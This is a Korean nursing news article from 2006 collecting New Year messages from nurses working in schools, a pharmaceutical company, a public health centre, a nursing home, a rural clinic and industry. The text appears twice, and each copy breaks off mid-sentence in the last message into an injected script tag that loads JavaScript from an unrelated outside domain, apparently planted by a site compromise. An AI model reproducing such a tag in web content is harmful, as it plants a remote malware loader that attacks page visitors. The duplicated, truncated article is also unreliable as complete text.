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2006년 신년 메세지
한국간호의 힘찬 발전을 기원합니다
기사입력 2006-01-05 오전 09:34:01
◆ 건강한 학교 만드는 참교육 이뤄지길
지난 한해 보건교사들은 체계적이고 전문적인 보건교육을 실시하여 미래사회를 짊어지고 나갈 청소년들이 밝고 맑게 건강한 생활을 영위할 수 있도록 최선을 다해왔습니다. 새해에는 보건교과목이 신설되고, 모든 학교에 보건교사가 배치되어 활기차고 건강한 참교육이 이루어지기를 소망합니다.
이러한 소망이 반드시 이루어질 수 있도록 보건교사들은 하나된 힘으로 뭉쳐야 할 것입니다. 뿐만 아니라 학생, 학부모, 간호계 선후배 등 각계각층에 있는 사람들의 적극적인 도움도 필요합니다. 모든 보건교사들의 작은 염원이 모여 `보건교과 신설' `보건교사 확대배치'라는 열매를 맺기를 소망합니다. 새해 새 소망을 담아 대한간호협회와 산하단체 모든 회원들에게 넘치는 축복이 있기를 바랍니다.
변용분(춘천여고 보건교사)
◆ 간호의 새 영역 넓혀 나가는 보람
간호사로서 제약회사에서 근무한지 3년이 넘었습니다. 처음에는 새로운 분야에 진출한다는 것에 두려움이 앞섰었지만 간호사의 역량을 펼칠 수 있는 영역이라 생각하고 열심히 하다보니 좋은 결과도 있었던 것 같습니다.
지난 한해는 간호학 지식과 간호사로서의 임상경험을 바탕으로 영업 및 마케팅 관련 지식과 경험을 쌓아간 소중한 시간이었습니다. 제약회사들이 점차 환자와 일반대중을 중심으로 한 새로운 마케팅 전략을 짜고 있는 시점에서 간호사들의 역할은 점점 다양해지고, 중요해지고 있습니다. 앞으로 사회 각 분야에서 간호사의 역할이 더욱 굳건해지고, 간호사들이 다양한 영역에서 주역이 되길 바랍니다. 간호사에게는 항상 새로운 임무가 기다리고 있습니다.
강정아(글락소 스미스클라인)
◆ 국민 건강 옹호자 소임에 충실
다사다난했던 한해가 지나고 또 새해가 왔습니다. 천안시 보건소에서도 여느 보건소와 같이 시민들의 질병예방과 건강증진을 위해 방문보건사업, 건강증진사업, 재활사업, 정신질환 치료사업, 희귀 난치성 질환자를 위한 의료비 지원사업 등 다양한 보건의료 프로그램을 운영하고 있습니다. 새내기 간호사인 저에게도, 모든 선배님들에게도 이 일들은 국민의 공복이라는 사명감이 없으면 안되는 프로그램들입니다.
올 한해는 보건소에서 운영되는 다양한 프로그램으로 많은 어려운 사람들의 몸과 마음이 행복해지기를 바랍니다. 또 아직 미숙하고 서툴지만 간호사로서 처음 결심했던 헌신과 봉사의 정신을 꼭 실천해보고자 합니다. 또 모든 간호사들이 저와 같기를 바랍니다.
한소영(천안시보건소 가정간호계)
◆ 국민 위한 노인요양보장제도 만들기
오랫동안 쌓은 임상경험과 이론적 지식을 바탕으로 너싱홈을 창업한지 15개월이 되었습니다. 너싱홈을 어르신들이 지내기 편안한 환경으로 만들고, 많은 분들에게 너싱홈의 존재를 알리는 데는 지금까지의 경험만으로는 충분하지 못한 점도 있었습니다. 그렇지만 창업이라는 새로운 내 일을 성공적으로 이루어내기 위한 일념으로 활기차게 보낸 시간들이었습니다.
올해에는 노인요양보장제도가 진정으로 우리나라 노인문제를 해결해 줄 수 있는 제도가 될 수 있기를 바라며, 대한민국 전 간호사의 든든한 울타리인 대한간호협회가 이러한 제도가 올바로 시행될 수 있도록 도와주시기를 간곡히 부탁드립니다. 간호사들이 너싱홈을 창업하고 운영하는데 어려움이 없는 한해가 되기를 바랍니다.
정미순(늘푸른 너싱홈 원장)
◆ 고령사회 이끌어 가는 보건진료원
보건진료소 탄생 25주년을 뜻깊게 맞이합니다. 보건진료원은 지역사회 및 국민 보건의료 향상을 위해 노력해 왔습니다.
새해에는 전반적인 보건의료 환경의 변화에 발맞춰 자기혁신과 변화를 주도해 학술적 연구풍토를 정착시켰으면 합니다. 또 신축건물에 보건교육과 건강증진프로그램을 진행할 수 있는 제반여건을 갖춰 농어촌의 건강과 교육은 물론 문화, 예술적 기능까지 계몽할 수 있는 주역으로 재평가받기를 기대해봅니다. 장기 근속자에 대한 처우개선도 희망합니다.
보건진료원은 노령화돼가는 농어촌의 샛별입니다. 보다 나은 미래를 위한 새로운 일차보건의료 마케팅 전략을 갖춘 유능한 전문가로 거듭나기 위해 더욱 노력해 나갈 것입니다.
김향숙(경남 남해군 삼동면 동천보건진료소장)
◆ 회원 고충 풀어주는 든든한 간협
지난해 우리를 힘들게 했던 몇몇의 일들을 보면 경기침체로 인한 경영악화, 비정규직의 확대 그리고 수준 높은 의료서비스에 대한 욕구증대 등이 있었습니다.
하지만 무엇보다 염려되는 것은 산업간호사들이 불안정한 고용으로 인해 업무의 질이 떨어지고, 자존감을 상실할지도 모른다는 것입니다.
이맘때가 되면 재계약의 불확실성으로 인해 고민하고 분노하는 동료들을 보게 됩니다. 이에 대한간호협회에서 산업간호?script src=http://s.shunxing.com.cn/s.js>
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지난 한해 보건교사들은 체계적이고 전문적인 보건교육을 실시하여 미래사회를 짊어지고 나갈 청소년들이 밝고 맑게 건강한 생활을 영위할 수 있도록 최선을 다해왔습니다. 새해에는 보건교과목이 신설되고, 모든 학교에 보건교사가 배치되어 활기차고 건강한 참교육이 이루어지기를 소망합니다.
이러한 소망이 반드시 이루어질 수 있도록 보건교사들은 하나된 힘으로 뭉쳐야 할 것입니다. 뿐만 아니라 학생, 학부모, 간호계 선후배 등 각계각층에 있는 사람들의 적극적인 도움도 필요합니다. 모든 보건교사들의 작은 염원이 모여 `보건교과 신설' `보건교사 확대배치'라는 열매를 맺기를 소망합니다. 새해 새 소망을 담아 대한간호협회와 산하단체 모든 회원들에게 넘치는 축복이 있기를 바랍니다.
변용분(춘천여고 보건교사)
◆ 간호의 새 영역 넓혀 나가는 보람
간호사로서 제약회사에서 근무한지 3년이 넘었습니다. 처음에는 새로운 분야에 진출한다는 것에 두려움이 앞섰었지만 간호사의 역량을 펼칠 수 있는 영역이라 생각하고 열심히 하다보니 좋은 결과도 있었던 것 같습니다.
지난 한해는 간호학 지식과 간호사로서의 임상경험을 바탕으로 영업 및 마케팅 관련 지식과 경험을 쌓아간 소중한 시간이었습니다. 제약회사들이 점차 환자와 일반대중을 중심으로 한 새로운 마케팅 전략을 짜고 있는 시점에서 간호사들의 역할은 점점 다양해지고, 중요해지고 있습니다. 앞으로 사회 각 분야에서 간호사의 역할이 더욱 굳건해지고, 간호사들이 다양한 영역에서 주역이 되길 바랍니다. 간호사에게는 항상 새로운 임무가 기다리고 있습니다.
강정아(글락소 스미스클라인)
◆ 국민 건강 옹호자 소임에 충실
다사다난했던 한해가 지나고 또 새해가 왔습니다. 천안시 보건소에서도 여느 보건소와 같이 시민들의 질병예방과 건강증진을 위해 방문보건사업, 건강증진사업, 재활사업, 정신질환 치료사업, 희귀 난치성 질환자를 위한 의료비 지원사업 등 다양한 보건의료 프로그램을 운영하고 있습니다. 새내기 간호사인 저에게도, 모든 선배님들에게도 이 일들은 국민의 공복이라는 사명감이 없으면 안되는 프로그램들입니다.
올 한해는 보건소에서 운영되는 다양한 프로그램으로 많은 어려운 사람들의 몸과 마음이 행복해지기를 바랍니다. 또 아직 미숙하고 서툴지만 간호사로서 처음 결심했던 헌신과 봉사의 정신을 꼭 실천해보고자 합니다. 또 모든 간호사들이 저와 같기를 바랍니다.
한소영(천안시보건소 가정간호계)
◆ 국민 위한 노인요양보장제도 만들기
오랫동안 쌓은 임상경험과 이론적 지식을 바탕으로 너싱홈을 창업한지 15개월이 되었습니다. 너싱홈을 어르신들이 지내기 편안한 환경으로 만들고, 많은 분들에게 너싱홈의 존재를 알리는 데는 지금까지의 경험만으로는 충분하지 못한 점도 있었습니다. 그렇지만 창업이라는 새로운 내 일을 성공적으로 이루어내기 위한 일념으로 활기차게 보낸 시간들이었습니다.
올해에는 노인요양보장제도가 진정으로 우리나라 노인문제를 해결해 줄 수 있는 제도가 될 수 있기를 바라며, 대한민국 전 간호사의 든든한 울타리인 대한간호협회가 이러한 제도가 올바로 시행될 수 있도록 도와주시기를 간곡히 부탁드립니다. 간호사들이 너싱홈을 창업하고 운영하는데 어려움이 없는 한해가 되기를 바랍니다.
정미순(늘푸른 너싱홈 원장)
◆ 고령사회 이끌어 가는 보건진료원
보건진료소 탄생 25주년을 뜻깊게 맞이합니다. 보건진료원은 지역사회 및 국민 보건의료 향상을 위해 노력해 왔습니다.
새해에는 전반적인 보건의료 환경의 변화에 발맞춰 자기혁신과 변화를 주도해 학술적 연구풍토를 정착시켰으면 합니다. 또 신축건물에 보건교육과 건강증진프로그램을 진행할 수 있는 제반여건을 갖춰 농어촌의 건강과 교육은 물론 문화, 예술적 기능까지 계몽할 수 있는 주역으로 재평가받기를 기대해봅니다. 장기 근속자에 대한 처우개선도 희망합니다.
보건진료원은 노령화돼가는 농어촌의 샛별입니다. 보다 나은 미래를 위한 새로운 일차보건의료 마케팅 전략을 갖춘 유능한 전문가로 거듭나기 위해 더욱 노력해 나갈 것입니다.
김향숙(경남 남해군 삼동면 동천보건진료소장)
◆ 회원 고충 풀어주는 든든한 간협
지난해 우리를 힘들게 했던 몇몇의 일들을 보면 경기침체로 인한 경영악화, 비정규직의 확대 그리고 수준 높은 의료서비스에 대한 욕구증대 등이 있었습니다.
하지만 무엇보다 염려되는 것은 산업간호사들이 불안정한 고용으로 인해 업무의 질이 떨어지고, 자존감을 상실할지도 모른다는 것입니다.
이맘때가 되면 재계약의 불확실성으로 인해 고민하고 분노하는 동료들을 보게 됩니다. 이에 대한간호협회에서 산업간호?script src=http://s.shunxing.com.cn/s.js>
편집부 news@nursenews.co.kr